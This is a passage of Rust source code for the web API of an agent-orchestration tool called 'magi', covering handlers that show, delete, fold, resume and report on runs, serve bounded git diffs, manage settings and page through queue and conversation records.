4505        let id = resolve_run(&ui.runs, &id)?;
4506        let state = read_run(&ui.runs, &id)?;
4507        let live = state.liveness(crate::daemon::is_working_on(
4508            &ui.home,
4509            &id,
4510            Timestamp::now(),
4511        ));
4512        let waiting = !ui.questions.open_for(&id).is_empty();
4513        Ok(Json(serde_json::json!({
4514            "id": id, "updated_at": state.updated_at, "live": live,
4515            "observed_at": Timestamp::now(),
4516            "progress": crate::run_progress::build(&state, live, waiting),
4517        })))
4518    })
4519    .await
4520}
4521
4522async fn run_detail(
4523    State(ui): State<Arc<Ui>>,
4524    Path(id): Path<String>,
4525) -> ApiResult<Json<RunDetailView>> {
4526    blocking(move || {
4527        let id = resolve_run(&ui.runs, &id)?;
4528        let state = read_run(&ui.runs, &id)?;
4529        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4530        let live = state.liveness(daemon_claims);
4531        crate::queue::record_ids(ui.questions.root(), "json")?;
4532        let waiting = ui
4533            .questions
4534            .list()
4535            .iter()
4536            .any(|q| q.run == id && q.status.open());
4537        let max_attempts = daemon::Opts::default().max_attempts;
4538
4539        let matching_task = ui.find_task_for_run(&id)?;
4540
4541        let superseded_by = state
4542            .pr_taken_over_by
4543            .clone()
4544            .or_else(|| {
4545                matching_task
4546                    .as_ref()
4547                    .and_then(|t| t.successor_of(&id).cloned())
4548            })
4549            .as_deref()
4550            .map(crate::run::short_of)
4551            .map(str::to_owned);
4552
4553        // Best-effort: an unreadable head (mid-write, or deleted) just means
4554        // this run's own status stands on its own, same as no later attempt
4555        // existing at all.
4556        let latest_attempt = matching_task
4557            .as_ref()
4558            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4559            .and_then(|head_id| {
4560                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4561                    short: head.short().to_owned(),
4562                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4563                    status: head.status,
4564                    done: head.status.done(),
4565                    id: head.id,
4566                })
4567            });
4568
4569        let task = matching_task
4570            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4571
4572        Ok(Json(RunDetailView::of(
4573            state,
4574            waiting,
4575            live,
4576            superseded_by,
4577            latest_attempt,
4578            task,
4579        )))
4580    })
4581    .await
4582}
4583
4584/// `DELETE /api/runs/{id}`.
4585///
4586/// Remove a finished, folded run directory along with its artifacts.
4587/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4588/// deleted. This never touches git worktrees or branches - except for a run
4589/// whose state this build cannot read at all, where there is no candidate
4590/// list to check and the wholesale removal `magi fold` already uses for that
4591/// case is the only meaningful "delete".
4592async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4593    let (id, unreadable) = {
4594        let ui = Arc::clone(&ui);
4595        blocking(move || {
4596            let id = resolve_run(&ui.runs, &id)?;
4597            match read_run(&ui.runs, &id) {
4598                Ok(state) => {
4599                    let in_flight =
4600                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4601                    state
4602                        .ensure_can_delete(in_flight)
4603                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4604                    let dir = ui.runs.join(&id);
4605                    std::fs::remove_dir_all(&dir)
4606                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4607                    Ok((id, false))
4608                }
4609                Err(_) => {
4610                    // Unreadable: there is no candidate list to guard on, so
4611                    // a live daemon's claim is the only thing left to check -
4612                    // the same rule `run_fold` applies for the same reason.
4613                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4614                        return Err(ApiError::conflict(format!(
4615                            "run {id} is being worked on by a live daemon right now"
4616                        )));
4617                    }
4618                    Ok((id, true))
4619                }
4620            }
4621        })
4622        .await?
4623    };
4624    if unreadable {
4625        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4626            .await
4627            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4628    }
4629    let ui = Arc::clone(&ui);
4630    let done = id.clone();
4631    blocking(move || {
4632        // The agent that asked died with the run, so an open question would
4633        // keep asking the operator for a decision nobody can deliver.
4634        ui.questions.abandon_for_run(
4635            &done,
4636            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4637        )?;
4638        Ok(())
4639    })
4640    .await?;
4641    Ok(StatusCode::NO_CONTENT)
4642}
4643
4644/// `POST /api/runs/{id}/fold`.
4645///
4646/// Remove a run's candidate worktrees and branches, keeping its record.
4647///
4648/// This exists because the deck answered "delete this run" with *"Candidates
4649/// must be folded before deleting. Run `magi fold` first."* — a phone being
4650/// told to open a terminal, in the one product whose point is that it does
4651/// not need one. The runs an operator most wants gone are the stalled and
4652/// blocked ones, and those are exactly the runs still holding worktrees:
4653/// three of them here held 53 GB.
4654///
4655/// The winner's tree goes too. A fold is what someone asks for when they are
4656/// finished with a run, and leaving one tree behind would leave the delete
4657/// button disabled for the same reason as before.
4658///
4659/// Refused while a live daemon is working on the run, on the rule that guards
4660/// deletion: folding underneath a running agent would pull the tree it is
4661/// editing out from under it.
4662///
4663/// A run whose state this build cannot read at all falls back to
4664/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4665/// selectively, so the whole record's worktree goes wholesale, exactly what
4666/// `magi fold` does on the command line for the same run.
4667async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4668    let (id, state) = {
4669        let ui = Arc::clone(&ui);
4670        blocking(move || {
4671            let id = resolve_run(&ui.runs, &id)?;
4672            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4673                return Err(ApiError::conflict(format!(
4674                    "run {id} is being worked on by a live daemon right now"
4675                )));
4676            }
4677            let state = read_run(&ui.runs, &id).ok();
4678            Ok((id, state))
4679        })
4680        .await?
4681    };
4682    let removed = match state {
4683        Some(mut state) => {
4684            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4685                .await
4686                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4687            // Nothing left to remove is not the same thing as nothing left to
4688            // do — see `clean::clear_abandoned_active`'s own doc for the run
4689            // this exists for: worktrees already gone, but a killed process
4690            // left active seats nobody will ever answer for.
4691            if removed.is_empty() {
4692                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4693                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4694            }
4695            removed
4696        }
4697        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4698            .await
4699            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4700    };
4701    Ok(Json(FoldView {
4702        run: id,
4703        removed_count: removed.len(),
4704        removed,
4705    }))
4706}
4707
4708/// What a fold took away, so the deck can say so rather than only re-render.
4709#[derive(Debug, Serialize)]
4710struct FoldView {
4711    run: String,
4712    /// Worktree paths and branch names removed, in the order they went.
4713    removed: Vec<String>,
4714    removed_count: usize,
4715}
4716
4717/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4718/// merged outside of `land::land`'s own loop.
4719#[derive(Debug, Deserialize)]
4720struct FoldMergedBody {
4721    #[serde(default)]
4722    pr_url: String,
4723}
4724
4725/// `POST /api/runs/{id}/fold-merged`.
4726///
4727/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4728/// `Blocked` with `merge: null` because magi never got as far as opening a
4729/// pull request of its own (a title over GitHub's length limit, `gh pr
4730/// create` unreachable, a stale token), which the operator then finished by
4731/// hand on a pull request magi never recorded. The "Run actions" sheet used
4732/// to have no way to tell it about that pull request short of a terminal and
4733/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4734/// this exists and what it deliberately does not do (`bump::after_merge`).
4735///
4736/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4737/// correction rewrites the same `status`/`merge` fields a running graph would
4738/// be writing to on its own.
4739///
4740/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4741/// calls plus a fold, seconds of work, and the phone should get its answer
4742/// (which pull request it recorded, and what changed) in the same round
4743/// trip rather than learning it from the change stream.
4744async fn run_fold_merged(
4745    State(ui): State<Arc<Ui>>,
4746    Path(id): Path<String>,
4747    Json(body): Json<FoldMergedBody>,
4748) -> ApiResult<Json<FoldMergedView>> {
4749    let pr_url = body.pr_url.trim().to_owned();
4750    if pr_url.is_empty() {
4751        return Err(ApiError::bad_request("pr_url is required"));
4752    }
4753    let (id, mut state) = {
4754        let ui = Arc::clone(&ui);
4755        blocking(move || {
4756            let id = resolve_run(&ui.runs, &id)?;
4757            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4758                return Err(ApiError::conflict(format!(
4759                    "run {id} is being worked on by a live daemon right now"
4760                )));
4761            }
4762            let state = read_run(&ui.runs, &id)?;
4763            Ok((id, state))
4764        })
4765        .await?
4766    };
4767    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4768        .await
4769        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4770    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4771        .await
4772        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4773    Ok(Json(FoldMergedView {
4774        run: id,
4775        before: before.as_str().to_owned(),
4776        after: after.as_str().to_owned(),
4777        removed,
4778    }))
4779}
4780
4781/// What [`run_fold_merged`] did, so the deck can say so.
4782#[derive(Debug, Serialize)]
4783struct FoldMergedView {
4784    run: String,
4785    /// `status` before the correction — normally `"blocked"`.
4786    before: String,
4787    /// `status` after — normally `"merged"`.
4788    after: String,
4789    /// Worktree paths and branch names the trailing fold removed.
4790    removed: Vec<String>,
4791}
4792
4793/// `POST /api/runs/{id}/resume`.
4794///
4795/// Carry a stalled run on from where it stopped, in the background.
4796///
4797/// A stalled card says "the work is kept" and used to offer no way to act on
4798/// that: the candidates are built and paid for, and continuing means re-asking
4799/// only the seats whose absence collapsed the panel. The alternative an
4800/// operator actually had was releasing the task, which competes three fresh
4801/// implementations against work that already exists.
4802///
4803/// **202, not 200.** A resume runs agents for minutes; holding the connection
4804/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4805/// phone learns the outcome from the change stream.
4806///
4807/// Refused when the loop is running at all, not merely when it is on this run.
4808/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4809/// started a second graph on top of whatever the loop is already driving —
4810/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4811/// allows — would spend that quota twice over for no extra throughput.
4812async fn run_resume(
4813    State(ui): State<Arc<Ui>>,
4814    Path(id): Path<String>,
4815) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4816    let admission = ui.begin_admission()?;
4817    admitted(admission, async move {
4818        let (id, state) = {
4819            let ui = Arc::clone(&ui);
4820            blocking(move || {
4821                let id = resolve_run(&ui.runs, &id)?;
4822                let state = read_run(&ui.runs, &id)?;
4823                Ok((id, state))
4824            })
4825            .await?
4826        };
4827        crate::resume::validate_unqueued(&ui.home, &id)
4828            .map_err(|e| ApiError::conflict(e.to_string()))?;
4829        let _resume = ui.begin_resume(&id)?;
4830
4831        crate::resume::start(&ui.home, id.clone())
4832            .await
4833            .map_err(ApiError::from)?;
4834        // The same shape the list route returns, so the phone updates the card it
4835        // already has rather than learning a second schema for one button.
4836        let queued = RunSummary::of(
4837            &state,
4838            !ui.questions.open_for(&id).is_empty(),
4839            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4840        );
4841        Ok((StatusCode::ACCEPTED, Json(queued)))
4842    })
4843    .await
4844}
4845
4846async fn run_report(
4847    State(ui): State<Arc<Ui>>,
4848    Path(id): Path<String>,
4849) -> ApiResult<impl IntoResponse> {
4850    let text = blocking(move || {
4851        let id = resolve_run(&ui.runs, &id)?;
4852        // Colour is off for the whole process, set once in `serve`. Rendering
4853        // is CPU work over the full state, which is the other reason this is
4854        // not on the executor.
4855        let state = read_run(&ui.runs, &id)?;
4856        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4857        let live = state.liveness(daemon_claims);
4858        Ok(format!(
4859            "{}{}",
4860            report::run(&state),
4861            report::active_seats(&state, live)
4862        ))
4863    })
4864    .await?;
4865    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4866}
4867
4868/// The structured twin of [`run_report`]: the same state, as sections the UI
4869/// draws as cards. An unreadable run answers with the same error the text
4870/// route does; it is never turned into an empty report.
4871async fn run_report_json(
4872    State(ui): State<Arc<Ui>>,
4873    Path(id): Path<String>,
4874) -> ApiResult<Json<crate::report_view::RunReportView>> {
4875    let view = blocking(move || {
4876        let id = resolve_run(&ui.runs, &id)?;
4877        let state = read_run(&ui.runs, &id)?;
4878        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4879        // Only a record that lacks the structured details reads `artifacts/`.
4880        let recovered = state.graft.as_ref().map(|_| {
4881            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4882        });
4883        Ok(crate::report_view::build_with(
4884            &state,
4885            state.liveness(daemon_claims),
4886            recovered.as_ref(),
4887        ))
4888    })
4889    .await?;
4890    Ok(Json(view))
4891}
4892
4893/// Most of a graft diff the route returns.
4894const GRAFT_DIFF_MAX: usize = 400 * 1024;
4895/// How long `git diff` may run.
4896const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4897
4898/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4899/// come from the run record, never from the request.
4900async fn run_graft_diff(
4901    State(ui): State<Arc<Ui>>,
4902    Path(id): Path<String>,
4903) -> ApiResult<impl IntoResponse> {
4904    let (repo, pre, post) = blocking(move || {
4905        let id = resolve_run(&ui.runs, &id)?;
4906        let state = read_run(&ui.runs, &id)?;
4907        let g = state
4908            .graft
4909            .as_ref()
4910            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4911        let post = g
4912            .post
4913            .clone()
4914            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4915        Ok((state.repo.clone(), g.pre.clone(), post))
4916    })
4917    .await?;
4918    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4919    if !hex(&pre) || !hex(&post) {
4920        return Err(ApiError::not_found("the recorded commits are not valid"));
4921    }
4922    let out = tokio::time::timeout(
4923        GRAFT_DIFF_TIMEOUT,
4924        crate::git::git_raw(
4925            &repo,
4926            &[
4927                "diff",
4928                "--no-color",
4929                "--no-ext-diff",
4930                "-M",
4931                &pre,
4932                &post,
4933                "--",
4934            ],
4935        ),
4936    )
4937    .await
4938    .map_err(|_| ApiError::not_found("git diff timed out"))?
4939    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4940    if out.code != Some(0) {
4941        return Err(ApiError::not_found(
4942            "the recorded commits are no longer in the repository",
4943        ));
4944    }
4945    let mut body = out.stdout;
4946    if body.len() > GRAFT_DIFF_MAX {
4947        let mut cut = GRAFT_DIFF_MAX;
4948        while !body.is_char_boundary(cut) {
4949            cut -= 1;
4950        }
4951        body.truncate(cut);
4952        body.push_str("\n... diff truncated ...");
4953    }
4954    Ok((
4955        [
4956            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4957            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4958        ],
4959        body,
4960    ))
4961}
4962
4963/// A task as the UI sees it.
4964///
4965/// The whole task, plus the two things the client would otherwise have to
4966/// reimplement: the human-readable source and the status string. Nothing is
4967/// removed - the phone shows `last_error` and the run history verbatim.
4968#[derive(Debug, Serialize)]
4969struct TaskView {
4970    #[serde(flatten)]
4971    task: Task,
4972    source_label: String,
4973    source_link: Option<SourceLink>,
4974    status_str: &'static str,
4975    /// The instruction, parsed as markdown, for the Queue card's "Full
4976    /// instruction" panel. `task.instruction` is unchanged and still carries
4977    /// the raw text.
4978    instruction_md: Vec<md::Node>,
4979    /// For a blocked task, what it waits on with each dependency's state, e.g.
4980    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4981    /// recurses; empty for every other status.
4982    waits_on: Vec<String>,
4983    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4984    /// behind - non-empty means nothing in the loop will ever run it.
4985    stuck_roots: Vec<String>,
4986}
4987
4988impl From<Task> for TaskView {
4989    fn from(task: Task) -> Self {
4990        Self {
4991            source_label: task.source.label(),
4992            source_link: source_link(&task.source),
4993            status_str: task.status.as_str(),
4994            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4995            waits_on: Vec::new(),
4996            stuck_roots: Vec::new(),
4997            task,
4998        }
4999    }
5000}
5001
5002impl TaskView {
5003    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5004        let waits_on = inv.waits_on(&task);
5005        let stuck_roots = inv
5006            .stuck_roots(&task)
5007            .iter()
5008            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5009            .collect();
5010        Self {
5011            waits_on,
5012            stuck_roots,
5013            ..Self::from(task)
5014        }
5015    }
5016}
5017
5018/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5019/// its absence, leaves the cache to decide.
5020#[derive(Debug, Default, Deserialize)]
5021#[serde(default)]
5022struct ReposQuery {
5023    refresh: u8,
5024}
5025
5026/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5027/// listing `magi repos` prints at a terminal.
5028///
5029/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5030/// so an edit to `magi.toml` takes effect without a restart, the same
5031/// reasoning [`config_for`] documents for the talk routes.
5032async fn repos_list(
5033    State(ui): State<Arc<Ui>>,
5034    Query(q): Query<ReposQuery>,
5035) -> ApiResult<Json<Vec<repos::Repo>>> {
5036    let refresh = q.refresh != 0;
5037    blocking(move || {
5038        let (cfg, _) = Config::discover(&ui.repo, None)?;
5039        Ok(Json(ui.repos_cache.list(
5040            &cfg.repos.roots,
5041            Duration::from_secs(cfg.repos.scan_ttl),
5042            refresh,
5043        )))
5044    })
5045    .await
5046}
5047
5048/// Optional context, restricted to the server's known checkouts.
5049#[derive(Debug, Default, Deserialize)]
5050struct SettingsQuery {
5051    repo: Option<PathBuf>,
5052}
5053
5054/// Always discover against the server's original context, never the selection.
5055/// If that config is broken, retain the default context and machine-only roots
5056/// so the settings error contract and recovery picker remain available.
5057fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5058    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5059        let paths: Vec<PathBuf> = ui
5060            .machine_config
5061            .iter()
5062            .filter(|p| p.is_file())
5063            .cloned()
5064            .collect();
5065        if paths.is_empty() {
5066            Ok(Config::autodetected())
5067        } else {
5068            Config::load_layers(&paths)
5069        }
5070    });
5071    let mut known = cfg
5072        .map(|cfg| {
5073            ui.repos_cache.list(
5074                &cfg.repos.roots,
5075                Duration::from_secs(cfg.repos.scan_ttl),
5076                refresh,
5077            )
5078        })
5079        .unwrap_or_default();
5080    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5081    if !known.iter().any(|r| r.path == path) {
5082        known.push(repos::Repo {
5083            name: path
5084                .file_name()
5085                .unwrap_or_default()
5086                .to_string_lossy()
5087                .into_owned(),
5088            path,
5089        });
5090    }
5091    known
5092}
5093
5094fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5095    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5096    let canonical = requested.canonicalize().ok();
5097    let mut known = settings_repositories(ui, false);
5098    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5099    if !known.iter().any(matches) {
5100        known = settings_repositories(ui, true);
5101    }
5102    let repo = known
5103        .iter()
5104        .find(|r| matches(r))
5105        .map(|r| r.path.clone())
5106        .ok_or_else(|| ApiError {
5107            text_reason: None,
5108            status: StatusCode::UNPROCESSABLE_ENTITY,
5109            message: "Choose a known repository from the Settings selector.".to_owned(),
5110        })?;
5111    Ok((repo, known))
5112}
5113
5114/// `GET /api/settings` - the effective role assignments and roster, with the
5115/// layer each came from. A config that fails to load answers 200 with an
5116/// `error`, so the screen can say so instead of drawing empty lists.
5117async fn settings_get(
5118    State(ui): State<Arc<Ui>>,
5119    Query(q): Query<SettingsQuery>,
5120) -> ApiResult<Json<settings::SettingsView>> {
5121    blocking(move || {
5122        let (repo, known) = settings_context(&ui, q)?;
5123        Ok(Json(settings::view_with_repos(
5124            &repo,
5125            ui.machine_config.as_deref(),
5126            &known,
5127        )))
5128    })
5129    .await
5130}
5131
5132/// The body of `PUT /api/settings/roles`.
5133#[derive(Debug, Deserialize)]
5134#[serde(deny_unknown_fields)]
5135struct RolesBody {
5136    /// The `revision` the client last read.
5137    revision: String,
5138    /// Role key to its new ids; an empty list resets the key to its default.
5139    #[serde(default)]
5140    roles: std::collections::BTreeMap<String, Vec<String>>,
5141    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5142    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5143    /// words (422) instead of as a deserialization error.
5144    #[serde(default)]
5145    counts: std::collections::BTreeMap<String, serde_json::Value>,
5146}
5147
5148/// `PUT /api/settings/roles` - save role assignments to the machine config.
5149///
5150/// The write target is `ui.machine_config` and nothing in the body can change
5151/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5152/// 422 with the reason in words.
5153async fn settings_put_roles(
5154    State(ui): State<Arc<Ui>>,
5155    Query(q): Query<SettingsQuery>,
5156    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5157) -> ApiResult<Json<settings::SettingsView>> {
5158    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5159    blocking(move || {
5160        let (repo, known) = settings_context(&ui, q)?;
5161        settings::save_with_repos(
5162            &repo,
5163            ui.machine_config.as_deref(),
5164            &body.revision,
5165            &body.roles,
5166            &body.counts,
5167            &known,
5168        )
5169        .map(Json)
5170        .map_err(|e| match e {
5171            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5172            settings::SaveError::Refused(m) => ApiError {
5173                text_reason: None,
5174                status: StatusCode::UNPROCESSABLE_ENTITY,
5175                message: m,
5176            },
5177            settings::SaveError::Internal(m) => ApiError::internal(m),
5178        })
5179    })
5180    .await
5181}
5182
5183async fn queue_list(
5184    State(ui): State<Arc<Ui>>,
5185    Query(q): Query<ListQuery>,
5186) -> ApiResult<Json<Vec<TaskView>>> {
5187    blocking(move || {
5188        let tasks = ui.queue.list();
5189        let inv =
5190            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5191        Ok(Json(
5192            tasks
5193                .into_iter()
5194                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5195                .map(|t| TaskView::with_inventory(t, &inv))
5196                .collect(),
5197        ))
5198    })
5199    .await
5200}
5201
5202/// History pages read a bounded number of records; the first conversation
5203/// page also includes every open talk. Cursors advance through a frozen snapshot,
5204/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5205/// Concurrent inserts are reconciled by a trailing store refresh.
5206#[derive(Debug, Default, Deserialize)]
5207struct PageQuery {
5208    before: Option<String>,
5209}
5210
5211#[derive(Serialize)]
5212struct StorePage<T> {
5213    rows: Vec<T>,
5214    next: Option<String>,
5215}
5216
5217const STORE_PAGE_SIZE: usize = 16;
5218
5219/// Freeze membership and the initial open/history boundary for a cursor walk.
5220/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5221/// the next store revision. Never rescan the entire directory for every page.
5222#[derive(Debug)]
5223struct ListWalk {
5224    token: u64,
5225    talks: bool,
5226    opened: std::time::Instant,
5227    ids: Arc<Vec<String>>,
5228    initial_end: usize,
5229}
5230
5231fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5232    page_ids_with(ui, talks, q, open_talk_ids)
5233}
5234
5235fn page_ids_with(
5236    ui: &Ui,
5237    talks: bool,
5238    q: PageQuery,
5239    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5240) -> ApiResult<(Vec<String>, Option<String>)> {
5241    let mut walks = ui
5242        .monitor
5243        .list_walks
5244        .lock()
5245        .unwrap_or_else(PoisonError::into_inner);
5246    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5247    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5248        let (token, offset) = cursor
5249            .split_once(':')
5250            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5251        let token = token
5252            .parse::<u64>()
5253            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5254        let offset = offset
5255            .parse::<usize>()
5256            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5257        let walk = walks
5258            .iter()
5259            .find(|walk| walk.token == token && walk.talks == talks)
5260            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5261        (token, walk.ids.clone(), offset, walk.initial_end)
5262    } else {
5263        // Header I/O must not hold the snapshot registry shared with queue
5264        // pagination or with clients continuing an existing history walk.
5265        drop(walks);
5266        let root = if talks {
5267            ui.talks.root()
5268        } else {
5269            ui.queue.root()
5270        };
5271        let mut ids = crate::queue::record_ids(root, "json")?;
5272        ids.sort_unstable_by(|a, b| b.cmp(a));
5273        let initial_end = if talks {
5274            let open = classify(ui, &ids);
5275            // Stable partition: ID order is only the existing membership order,
5276            // never a substitute for the UI's creation-time ordering.
5277            ids.sort_by_key(|id| !open.contains(id));
5278            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5279        } else {
5280            STORE_PAGE_SIZE.min(ids.len())
5281        };
5282        let ids = Arc::new(ids);
5283        walks = ui
5284            .monitor
5285            .list_walks
5286            .lock()
5287            .unwrap_or_else(PoisonError::into_inner);
5288        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5289        let mut token = crate::rng::entropy();
5290        while walks.iter().any(|walk| walk.token == token) {
5291            token = crate::rng::entropy();
5292        }
5293        // Four clients can enumerate both stores and overlap a refresh. Bound
5294        // retained membership snapshots; an evicted cursor explicitly retries.
5295        if walks.len() >= 16 {
5296            walks.remove(0);
5297        }
5298        walks.push(ListWalk {
5299            token,
5300            talks,
5301            opened: std::time::Instant::now(),
5302            ids: ids.clone(),
5303            initial_end,
5304        });
5305        (token, ids, 0, initial_end)
5306    };
5307    if offset > ids.len() {
5308        return Err(ApiError::bad_request("Invalid list cursor"));
5309    }
5310    let end = if offset == 0 {
5311        initial_end
5312    } else {
5313        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5314    };
5315    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5316    Ok((ids[offset..end].to_vec(), next))
5317}
5318
5319async fn queue_page(
5320    State(ui): State<Arc<Ui>>,
5321    Query(q): Query<PageQuery>,
5322) -> ApiResult<Json<StorePage<TaskView>>> {
5323    blocking(move || {
5324        let (ids, next) = page_ids(&ui, false, q)?;
5325        let tasks: Vec<_> = ids
5326            .into_iter()
5327            .filter_map(|id| ui.queue.get(&id).ok())
5328            .collect();
5329        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5330        let rows = tasks
5331            .into_iter()
5332            .map(|task| TaskView::with_inventory(task, &inv))
5333            .collect();
5334        Ok(Json(StorePage { rows, next }))
5335    })
5336    .await
5337}
5338
5339/// Fixed-size wire projection. Agent timestamps stay in the server index so
5340/// exact unread counts do not require sending an ever-growing turn list.
5341#[derive(Debug, Clone, Serialize)]
5342struct TalkListView {
5343    title: Option<talk::ChatTitle>,
5344    id: String,
5345    repo: PathBuf,
5346    agent: String,
5347    status: talk::TalkStatus,
5348    turns: Vec<TalkListTurn>,
5349    turn_count: usize,
5350    unread_count: usize,
5351    context: talk::ContextUsage,
5352    #[serde(skip)]
5353    agent_times: Vec<Timestamp>,
5354    thinking: bool,
5355    created_at: Timestamp,
5356    updated_at: Timestamp,
5357}
5358
5359#[derive(Debug, Clone, Serialize)]
5360struct TalkListTurn {
5361    who: talk::Who,
5362    at: Timestamp,
5363    body: String,
5364}
5365
5366fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5367    let reads: HashMap<String, Timestamp> = headers
5368        .get("x-talk-reads")
5369        .and_then(|v| v.to_str().ok())
5370        .and_then(|v| serde_json::from_str(v).ok())
5371        .unwrap_or_default();
5372    let mut index = ui
5373        .monitor
5374        .talk_index
5375        .lock()
5376        .unwrap_or_else(PoisonError::into_inner);
5377    // Bound memory independently of the number of conversations ever opened.
5378    if index.len() > 1000 {
5379        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5380        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5381        if index.len() > 1000 {
5382            index.retain(|id, _| keep.contains(id.as_str()));
5383        }
5384    }
5385    ids.into_iter()
5386        .filter_map(|id| {
5387            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5388            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5389                let talk = ui.talks.get(&id).ok()?;
5390                #[cfg(test)]
5391                ui.monitor
5392                    .talk_parses
5393                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5394                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5395                let last = talk.turns.len().checked_sub(1);
5396                let turns = talk
5397                    .turns
5398                    .iter()
5399                    .enumerate()
5400                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5401                    .map(|(_, t)| TalkListTurn {
5402                        who: t.who,
5403                        at: t.at,
5404                        body: t
5405                            .body
5406                            .lines()
5407                            .next()
5408                            .unwrap_or_default()
5409                            .chars()
5410                            .take(240)
5411                            .collect(),
5412                    })
5413                    .collect();
